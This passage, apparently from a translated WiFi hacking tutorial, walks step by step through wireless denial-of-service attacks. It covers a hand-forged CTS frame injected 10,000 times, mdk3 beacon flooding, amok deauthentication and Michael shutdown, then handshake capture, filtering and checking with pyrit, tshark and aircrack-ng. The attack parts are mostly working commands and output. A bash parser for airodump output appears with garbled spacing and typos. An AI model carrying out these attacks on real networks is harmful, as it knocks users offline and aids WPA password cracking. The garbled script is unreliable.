20:34:FB:B1:C5:53 76:5A:2E:63:33:9F 0 0 - 1 0 1
20:34:FB:B1:C5:53 54:F8:1B:E8:E7:8D 0 0 - 1 0 1
20:34:FB:B1:C5:53 F2:FB:E3:46:7C:C2 0 0 - 1 0 1
20:34:FB:B1:C5:53 4A:EC:29:CD:BA:AB 0 0 - 1 0 1
20:34:FB:B1:C5:53 67:C6:69:73:51:FF 0 0 - 1 0 1
20:34:FB:B1:C5:53 3E:01:7E:97:EA:DC 0 0 - 1 0 1
20:34:FB:B1:C5:53 6B:96:8F:38:5C:2A 0 0 - 1 0 1
20:34:FB:B1:C5:53 EC:B0:3B:FB:32:AF 0 0 - 1 0 1
20:34:FB:B1:C5:53 3C:54:EC:18:DB:5C 0 0 - 1 0 1
20:34:FB:B1:C5:53 02:1A:FE:43:FB:FA 0 0 - 1 0 1
20:34:FB:B1:C5:53 AA:3A:FB:29:D1:E6 0 0 - 1 0 1
20:34:FB:B1:C5:53 05:3C:7C:94:75:D8 0 0 - 1 0 1
20:34:FB:B1:C5:53 BE:61:89:F9:5C:BB 0 0 - 1 0 1
20:34:FB:B1:C5:53 A8:99:0F:95:B1:EB 0 0 - 1 0 1
20:34:FB:B1:C5:53 F1:B3:05:EF:F7:00 0 0 - 1 0 1
20:34:FB:B1:C5:53 E9:A1:3A:E5:CA:0B 0 0 - 1 0 1
20:34:FB:B1:C5:53 CB:D0:48:47:64:BD 0 0 - 1 0 1
20:34:FB:B1:C5:53 1F:23:1E:A8:1C:7B 0 0 - 1 0 1
20:34:FB:B1:C5:53 64:C5:14:73:5A:C5 0 0 - 1 0 1
20:34:FB:B1:C5:53 5E:4B:79:63:3B:70 0 0 - 1 0 1
20:34:FB:B1:C5:53 64:24:11:9E:09:DC 0 0 - 1 0 1
20:34:FB:B1:C5:53 AA:D4:AC:F2:1B:10 0 0 - 1 0 1
```

Exactly, a crazy number of associated clients that I don't even manage to select from the length of the list. Almost immediately, the network begins to slow down and becomes temporarily inoperative, expelling even the most distant customers or those with poor WiFi signal.

CTS Frame Attack

A rather interesting attack, which can even render a wireless network inoperative for a long period of time, even if we stop the attack.

What we will do is open **Wireshark on the one hand, capturing CTS** (Clear-To-Send) type packets :

I recommend researching this type of packet together with **RTS** , they have a very nice story against the **hidden node** problem , avoiding the famous frame collisions.

A CTS packet generally has 4 fields:

- Frame Control
- Duration
- RA (Receiver Address)
- FCS

The time field for such a packet can be seen quickly from Wireshark (**304 microseconds**):

What we will do once we have a **CTS** packet is to export said packet in a ' **Wireshark/tcpdump/... -pcap** ' format:

If we analyze the capture, we will see that the data contemplated remains the same:

Once this point is reached, in my case I will use the ' **ghex** ' tool to open the capture with a hexadecimal editor:

In this part it is important to make the following distinction:

- The last 4 values: 11 D1 13 85 correspond to the FCS, they must be computed for each variation that we make on the rest of the values. Let's not worry about it though... as Wireshark itself will give it to us :)
- The 6 values before the FCS: **30 45 96 BF 9D 2C** , correspond to the MAC address of the router. Obviously, this value should be changed to the desired one.
- The 2 values before the FCS: **30 01** , correspond to the time in microseconds put in hexadecimal and **Little Endian** .

For the last point, in case there have been any confusions:

There we see that they correspond to 304 microseconds. Now, this is where the attack vector comes in, let's see what would be the value in hexadecimal of the maximum allowed value (**30,000 microseconds**):

Let's try from **ghex** to substitute the value of 304 microseconds to 30,000 microseconds, putting its representation in hexadecimal and Little Endian:

NOTE : I have also specified the MAC address of the target AP in **ghex** (**64:D1:54:88:BA:3C**)

We might think it's that simple, but no. **Remember that for each change made, the value of the FCS** must be computed , otherwise the packet is invalid. One can choose to eat your head and try to do it manually, but another way is to save and open that own capture from **Wireshark** :

As we can see, it is wonderful, since **Wireshark** itself already gives us the value of the **FCS** that we need for the manipulated capture.

Therefore, we pay attention to it and change it (remember the Little Endian, it also applies to this case):

Once we have reached this point, we save the capture and try to open it again from Wireshark:

This is good news, because we don't get any type of error, we have built a valid package!

Now is when the fun part comes, let's inject said packet at the network level:

As we can see, a total of 10,000 CTS -type packets have been processed with a total time of 30,000 microseconds for each one. On top of that we have added the ' **--topspeed** ' parameter to prevent the next packet from being sent once the previous one has finished sending, causing all of them to remain in the queue.

Here we can see the values of each of these packets sent:

Result?, what is known as a hijacking of bandwidth, making the network completely inoperative for a long period of time. I do not recommend doing the attack on our own network.

Beacon Flood Mode Attack

A **beacon** is a packet that contains information about the access point, such as what channel it is on, what type of encryption it uses, what the network is called, etc.

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==0x8" 2>/dev/null
    1 0.000000000 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1585, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
    2 0.307210202 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1588, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
    3 0.614413670 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1591, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
    4 0.921614210 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1594, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
```

The peculiarity of beacons is that they are transmitted in the clear, since network cards and other devices need to be able to pick up this type of packet and extract the information necessary to connect.

Through the **mdk3** tool , we can generate an attack known as **Beacon Flood Attack** , generating a bunch of Beacon packets with false information. What do we achieve with this? Well, one of the classic attacks would consist of generating lots of access points located on the same channel as a target access point, thus managing to damage the wave spectrum of the network, leaving it inoperative and invisible by the users.

```
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  for i in $(seq 1 10);  do echo "MyNetwork$i" >> networks.txt;  donate
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  cat redes.txt
MyNetwork1
MyNetwork2
MyNetwork3
MyNetwork4
MyNetwork5
MyNetwork6
MyNetwork7
MyNetwork8
MyNetwork9
MyNetwork10
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  mdk3 wlan0mon b -f redes.txt -a -s 1000 -c 7
```

In this case, we would be generating a good handful of access points with the **ESSIDs** listed in the file, all of them positioned on channel 7. For the curious, the parameter ' **-a** ' is responsible for advertising WPA2 networks, and the parameter ' **-s** ' sets the rate of packets sent per second, which by default is set to 50.

In case you want to see how everything would look from a third party device trying to scan or list the available access points in the environment:

In fact, even if you want to cause curiosity in the environment, if you run this attack mode with **mdk3** without specifying parameters:

- mdk3 wlan0mon b

We would be generating access points with random **ESSID's :**

Disassociation Amok Mode Attack

This really does not stop resembling a targeted de-authentication attack, but by culture, **mdk3** has some **Black List/White List** operation modes , from which we can specify which clients we want not to be deauthenticated from the AP, adding to them in a White List and vice versa.

To build the attack, we simply have to create a file with the MAC addresses of the clients that we want to de-authenticate from the AP. Later, we run **mdk3** specifying the attack mode and the channel the network is on:

Michael Shutdown Exploitation

As the description of the utility itself says:

`"Can shut down APs using TKIP encryption and QoS Extension with 1 sniffed and 2 injected QoS Data Packets"`

That is, we can get to turn off a router through this attack.

NOTE: In practice, it is not very effective.

The syntax would be the following:

- mdk3 wlan0mon m -t bssidAP

Passive Techniques

Everything seen so far requires intervention on our part on the attacker's side.

We would have a way to act passively to obtain the Handshake, and it is simply to arm ourselves with courage and be patient.

We could wait until some of the associated stations have a bad signal, disconnect and automatically reassociate without us having to do anything. We could wait until suddenly someone new that was already associated with the network in the past, associates with the AP again. It could be done in a lot of different ways.

The important thing about all this is that the Handshake does not have to be generated based on the reauthentication of the client to the network, but only if we have expelled it from the network. I mean, the handshake has nothing to do with the de-authentication attack to force the client to reconnect to the network.

The Handshake will always be generated when the client reconnects to the network, either by our active means or without doing anything at will of the signal quality between the station and the AP, or by the own client that has reconnected for 'X' reasons.

Handshake validation with Pyrit

So far we have seen techniques to capture a Handshake. Now, sometimes, it can happen that the aircrack-ng suite tells us that it has captured a Handshake when it really hasn't, it wouldn't be the first time this has happened to me.

What better than validating the capture with another tool? With **pyrit** . Pyrit is a beastly tool for cracking, trap analysis and monitoring of wireless networks. One of the available modes is a kind of ' **checker** ', with which we can analyze the capture to see if it has a **Handshake** or not.

For example, let's imagine that we have captured a supposed Handshake from a wireless network, or at least that's what we see from **aircrack-ng** . If we wanted to now validate it from **Pyrit** , we would do the following on the '.cap' capture:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -r Capture-01.cap analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-01.cap  '  (1/1)...
Parsed 2 packets (2 802.11-packets), got 1 AP(s) #  1: AccessPoint 1c:b0:44:d4:16:78 ('MOVISTAR_1677'):
No valid EAOPL-handshake + ESSID detected.
```

As we see, ' **No valid EAOPL-handshake + ESSID detected.** ', so the capture does not have any Handshake.

Now let's see a case where it does report that the capture has a valid Handshake:

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -r Capture-02.cap analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-02.cap  '  (1/1)...
Parsed 63 packets (63 802.11-packets), got 1 AP(s) #  1: AccessPoint 20:34:fb:b1:c5:53 ('hacklab'):  #  1: Station 34:41:5d:46:d1:38, 1
handshake(s):  #  1: HMAC_SHA1_AES, good* spread 1
```

As can be seen, the **hacklab** network has a Handshake generated by the station **34:41:5d:46:d1:38** , which is even great for us, because that way we have a trace of everything related to said capture, including the name of the wireless network in case the name of our capture does not identify the AP.

Catch treatment and filter

It should be said that when capturing a Handshake, we capture perhaps more than we need during the waiting time. The final capture can be processed to simply extract the most relevant information from the AP, which would be the **eapol** .

With the tshark tool , we can generate a new capture filtering only the packets we are interested in from the previous capture:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "eapol" 2>/dev/null
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "eapol" 2>/dev/null -w filteredCapture
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -r filteredCapture analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  filteredCapture  '  (1/1)...
Parsed 4 packets (4 802.11-packets), got 1 AP(s) #  1: AccessPoint 20:34:fb:b1:c5:53 ('None'):  #  1: Station 34:41:5d:46:d1:38, 1
handshake(s):  #  1: HMAC_SHA1_AES, good, spread 1
No valid EAOPL-handshake + ESSID detected.
```

And as we can see, it keeps notifying us that there is 1 valid Handshake from the specified station. However, we see that now in the 'ESSID' field of the network it says **None** . This is so since the **eapol** field does not store that type of information.

Now is when we recap, what type of package is the one that stores this information?... Exactly, the **Beacon** packages , therefore we can adjust our filter a little more to continue discarding unnecessary packages but filtering some more information regarding to our victim AP, making use of the **OR** operator :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "wlan.fc.type_subtype==0x08 || eapol" 2>/dev/null
    1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1893, FN=0, Flags=........, BI=100, SSID=hacklab
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
```

In this case, we see that there has been a captured Beacon packet, indicating the ESSID name at the end of the first line.

If we export said capture and analyze now from **Pyrit** :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "wlan.fc.type_subtype==0x08 || eapol" 2>/dev/null -w filteredCapture
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -r filteredCapture analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  filteredCapture  '  (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s) #  1: AccessPoint 20:34:fb:b1:c5:53 ('hacklab'):  #  1: Station 34:41:5d:46:d1:38, 1
handshake(s):  #  1: HMAC_SHA1_AES, good, spread 1
```

The **'None'** field is replaced by the **ESSID** of the network.

NOTE : In my opinion, I recommend using the following filtering for this type of case, where in addition to Beacon packets it is preferable to also filter by **Probe Response** packets .

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol" 2>/dev/null
    1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1893, FN=0, Flags=........, BI=100, SSID=hacklab
    3 0.374849 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2287, FN=0, Flags=........, BI=100, SSID=hacklab
    5 0.586817 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    6 0.590400 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    7 0.594497 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    8 0.596543 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
    9 0.600640 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   10 0.602688 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   11 0.605759 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   12 0.610367 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   13 4.188928 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 229 Probe Response, SN=1935, FN=0, Flags=........, BI=100, SSID=hacklab
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
  112 8.252481 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  113 8.259649 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  114 8.261696 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=....R..., BI=100, SSID=hacklab
  115 8.272449 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
```

Another good practice and advice is to get used to doing these leaks indicating the BSSID of the target network, thus avoiding confusion and filtering packets that do not correspond.

For this case, since we know that the MAC address of the AP is **20:34:fb:b1:c5:53** (we can see it from Pyrit), a good practice would be to do the following:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb :b1:c5:53"
2>/dev/null
    1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1893, FN=0, Flags=........, BI=100, SSID=hacklab
    3 0.374849 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2287, FN=0, Flags=........, BI=100, SSID=hacklab
    5 0.586817 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    6 0.590400 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    7 0.594497 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    8 0.596543 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
    9 0.600640 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   10 0.602688 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   11 0.605759 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   12 0.610367 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   13 4.188928 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 229 Probe Response, SN=1935, FN=0, Flags=........, BI=100, SSID=hacklab
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
  112 8.252481 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  113 8.259649 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  114 8.261696 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=....R..., BI=100, SSID=hacklab
  115 8.272449 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
```

Finally, and so you don't get scared, look at how curious:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb :b1:c5:53"
-w filteredCapture 2>/dev/null
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack -ng filteredCapture
Opening filteredCapture wait...
Unsupported file format (not a pcap or IVs file).
Read 0 packets.
No networks found, exiting.
Quitting aircrack-ng...
```

The aircrack-ng suite should be able to distinguish the access point and the captured Handshake, we have seen that **Pyrit** detects it without problems, why not aircrack? The answer is simple. When exporting the capture from **tshark** , if we want **aircrack** to interpret it for us, we must specify the **pcap** format in the export mode for the capture , as follows:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -R "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb :b1:c5:53"
-2 -w filteredCapture -F pcap 2>/dev/null
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack -ng filteredCapture
Opening filteredCapture wait...
Read 19 packets. #    BSSID ESSID Encryption
   1 20:34:FB:B1:C5:53 WPA hacklab (1 handshake)
Choosing first network as target.
Opening filteredCapture wait...
Read 19 packets.
1 potential targets
```

Note that I have used the ' **-R** ' parameter instead of ' **-Y** ' because I am using the ' **-2** ' parameter, with the aim of making a double pass during the analysis phase. This option is even better, since the annotations are collected. The use of the ' **-R** ' parameter requires that we add the ' **-2** ' parameter.

I leave you here a small clarification of the usefulness of these parameters: Interest

Parser for neighborhood networks

So far we've been parsing specific networks, but haven't you stopped to think that we could do this too?:

- airodump -ng wlan0mon -w Capture

That is, capture all the traffic of all the networks available in the environment in a file. Why would we want to do this? Well, from **airodump-ng** , at the moment of scanning the environment networks, we see everything clear, well represented, however, once the evidences are exported to the specified file, and the way of representing the data are not the same.

Therefore, I share the following Bash script:

```
#!  /bin/bash if  [[  "  $1  "   &&   -f   "  $1  "  ]]  ;   then
    FILE=  "  $1  "  else  echo  -e  '  \nSpecify the .csv file to analyze\n  '  ;  echo   '  Usage:  '  ;  echo  -e  "
\t./parser.sh Capture-01.csv\n  "  ;  exit  fi test  -f oui.txt  2>  /dev/null if  [  "  $(  echo  $?  )  "   ==   "  0  "  ]  ;
 then echo  -e  "  \n\033[1mTotal number of access points: \033[0;31m  `  grep -E  '  ([A-Za-z0-9._: @\(\)\\=\[\ {\}\"%;-]+,){14}  '
$FILE   |  wc -l  `  \e[0m  "  echo  -e  "  \033[1mTotal number of stations: \033[0;31m  `  grep -E  '  ([A-Za-z0-9._: @\(\)\ \=\[\
{\}\"%;-]+,){5} ([A-Z0-9:]{17})|(not associated) '  $    FILE    |  wc -l  `  \e[0m  "  echo  -e  "  \033[1mTotal number of unassociated
stations: \033[0;31m  `  grep -E  ' (not associated)  '    $FILE    |  wc -l  `  \e[0m  " echo  -e  "  \n\033[0;36m\033[1mAvailable
access points:\e[0m\n  " while   read  -r line  ;   do if  [  "  `  echo  "  $line  "   |  cut -d  '  ,  '  -f 14  `  "    !=
 "    "  ]  ;   then  echo  -e  "  \033[1m  "    `  echo -e  "  $line  "   |  cut -d  '  ,  '  -f 14  `    "  \e[0m  "  else
 echo  -e  "  \e[3mCannot get network name (ESSID)\e[0m  "  fi
        fullMAC=  `  echo  "  $line  "   |  cut -d  '  ,  '  -f 1  `  echo  -e  "  \tMAC address:  $fullMAC  "
        MAC=  `  echo  "  $fullMAC  "   |  sed  '  s/ //g  '   |  sed  '  s/-//g  '   |  sed  '  s/://g  '   |  cut -c1-6  `
        result=  "  $(  grep -i -A 1 ^  $MAC  ./oui.txt  )  "  ; if  [  "  $result  "  ]  ;   then  echo  -e  "  \tVendor:  `  echo
  "  $result  "   |  cut -f 3  `  "  else  echo  -e  "  \tVendor: \e[3mInformation not found in database\e[0m  "  fi
        is5ghz=  `  echo  "  $line  "   |  cut -d  '  ,  '  -f 4  |  grep -i -E  '
36|40|44|48|52|56|60|64|100|104|108|112|116|120|124|128|132|136|140  '  ` if  [  "  $is5ghz  "  ]  ;   then  echo  -e  "  \t\033[0;31m
Operates on 5 GHz!\e[0m  "  fi
        printonce=  "  \tStations:  " while   read  -r line2  ;   do
            clientsMAC=  `  echo  $line2   |  grep -E  "  $fullMAC  "  `  if  [  "  $clientsMAC  "  ]  ;   then if  [  "
 $printonce  "  ]  ;   then  echo  -e  $printonce
                  printonce=  '  '  fi echo  -e  "  \t\t\033[0;32m  "    `  echo  $clientsMAC   |  cut -d  '  ,  '  -f 1  `    "
\e[0m  "
                MAC2=  `  echo  "  $clientsMAC  "   |  sed  '  s/ //g  '   |  sed  '  s/-//g  '   |  sed  '  s/://g  '   |  cut
-c1-6  `
                result2=  "  $(  grep -i -A 1 ^  $MAC2  ./oui.txt  )  "  ; if  [  "  $result2  "  ]  ;   then  echo  -e  "
\t\t\tVendor:  `  echo  "  $result2  "   |  cut -f 3  `  "
                  ismobile=  `  echo  $result2   |  grep -i -E  '
Olivetti|Sony|Mobile|Apple|Samsung|HUAWEI|Motorola|TCT|LG|Ragentek|Lenovo|Shenzhen|Intel|Xiaomi|zte '  `  warning  =
                  `  echo  $  result2   |  grep -i -E  '  ALPHA|Intel  '  `  if [  "  $ismobile  "  ]  ;   then  echo  -e  "
\t\t\t\033[0;33mThis is probably a mobile device\e[0m  "  fi if  [  "  $ warning  "  ]  ;   then  echo  -e  "
\t\t\t\033[0;31;5;7mDevice supports monitor mode\e[0m  "  fi else  echo  -e  "  \t\t\tVendor: \e[3mInformation not found in database\e[0m
 "  fi
                probe=  `  echo  $line2   |  cut -d  '  ,  '  -f 7  ` if  [  "  `  echo  $probed   |  grep -E [A-Za-z0-9_  \\  -]+
`  "  ]  ;   then  echo  -e  "  \t\t\tNetworks the device has been associated with:  $probed  "  fi  fi  done   <   <(  grep -E  '
  ([A-Za-z0-9._: @\(\) \\=\[\{\}\"%;-]+,){5} ([A-Z0-9:]{17})|(not associated)  '    $FILE  ) done   <   <(  grep -E  '  ([A-Za-z0-9._:
@\(\)\\=\[\{\}\"%;-]+,){14} '  $    FILE  ) echo  -e  "  \n\033[0;36m\033[1mUnassociated stations:\e[0m\n  " while   read  -r line2  ;
    do
        clientsMAC=  `  echo  $line2    |  cut -d  '  ,  '  -f 1  ` echo  -e  "  \033[0;31m  "    `  echo  $clientsMAC   |  cut -d
  '  ,  '  -f 1  `    "  \e[0m  "
        MAC2=  `  echo  "  $clientsMAC  "   |  sed  '  s/ //g  '   |  sed  '  s/-//g  '   |  sed  '  s/://g  '   |  cut -c1-6
 `
        result2=  "  $(  grep -i -A 1 ^  $MAC2  ./oui.txt  )  "  ; if  [  "  $result2  "  ]  ;   then  echo  -e  "  \tVendor:  `
echo  "  $result2  "   |  cut -f 3  `  "
            ismobile=  `  echo  $result2   |  grep -i -E  '
Olivetti|Sony|Mobile|Apple|Samsung|HUAWEI|Motorola|TCT|LG|Ragentek|Lenovo|Shenzhen|Intel|Xiaomi|zte '  `  warning  =
            `  echo  $  result2   |  grep -i -E  '  ALPHA|Intel  '  `  if  [  " $imobile  "  ]  ;   then  echo  -e  "
\t\033[0;33mThis is probably a mobile device\e[0m  "  fi  if  [  "  $warning  "  ]  ;   then  echo  -e  "  \t\033[ 0;31;5;7mDevice
supports monitor mode\e[0m  "  fi  else  echo  -e  "  \tVendor: \e[3mInformation not found in database\e[0m  "  fi
        probe=  `  echo  $line2   |  cut -d  '  ,  '  -f 7  ` if  [  "  `  echo  $probed   |  grep -E [A-Za-z0-9_  \\  -]+  `  "
]  ;   then  echo  -e  "  \tNetworks the device has been associated with:  $probed  "  fi         done   <   <(  grep -E  '  (not
associated)  '    $FILE  )  else  echo  -e  "  \n[!] File oui.txt not found, download it from here: http://standards-oui.ieee.org/oui
/oui.txt\n  "  fi
```

Taking advantage of the '.csv' file automatically generated after running **airodump** on the target network, we can make use of this parser to represent all the information of the captured data.

Running the script is quite simple:

```
 ┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  ./file.sh
Specifies the .csv file to parse
Use:
  ./parser.sh Capture-01.csv
┌─[root@parrot]─[/home/s4vitar/Desktop]
```

```
└──╼ #  ./file.sh capture-01.csv
[  !  ] oui.txt file not found, download it from here: http://standards-oui.ieee.org/oui/oui.txt
```

As we can see, the first time we run it, if we don't have the 'oui.txt' file, a small warning is generated to let us know that we need to download it to run the script, otherwise the data will not be well represented. .

Therefore:

- wget http://standards-oui.ieee.org/oui/oui.txt

Once done, we can now execute the script, obtaining the following results:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼ #  ./file.sh capture-01.csv
Total number of access points: 43
Total number of stations: 5
Total number of unassociated stations: 5
Access points available:
 guests
  MAC address: 4C:96:14:2C:42:82
  Vendor: Juniper Networks
 MiFibra-CECC
  MAC address: 44:FE:3B:FE:CE:CE
  Vendor: Arcadyan Corporation
 WIFI_EXT
  MAC address: 4C:96:14:2C:42:86
  Vendor: Juniper Networks
 MOVISTAR_A908
  MAC address: FC:B4:E6:99:A9:09
  Vendor: ASKEY COMPUTER CORP.
 Unable to get network name (ESSID)
  MAC address: 00:9A:CD:E7:C0:24
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
 MiFibra-91BD
  MAC address: 70:4F:57:9F:9A:8B
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 Internal
  MAC address: 4C:96:14:2C:42:80
  Vendor: Juniper Networks
 MOVISTAR_171B
  MAC address: 78:29:ED:9D:17:1C
  Vendor: ASKEY COMPUTER CORP.
 JAZZTEL_1301.
  MAC address: 00:B6:B7:36:06:0C
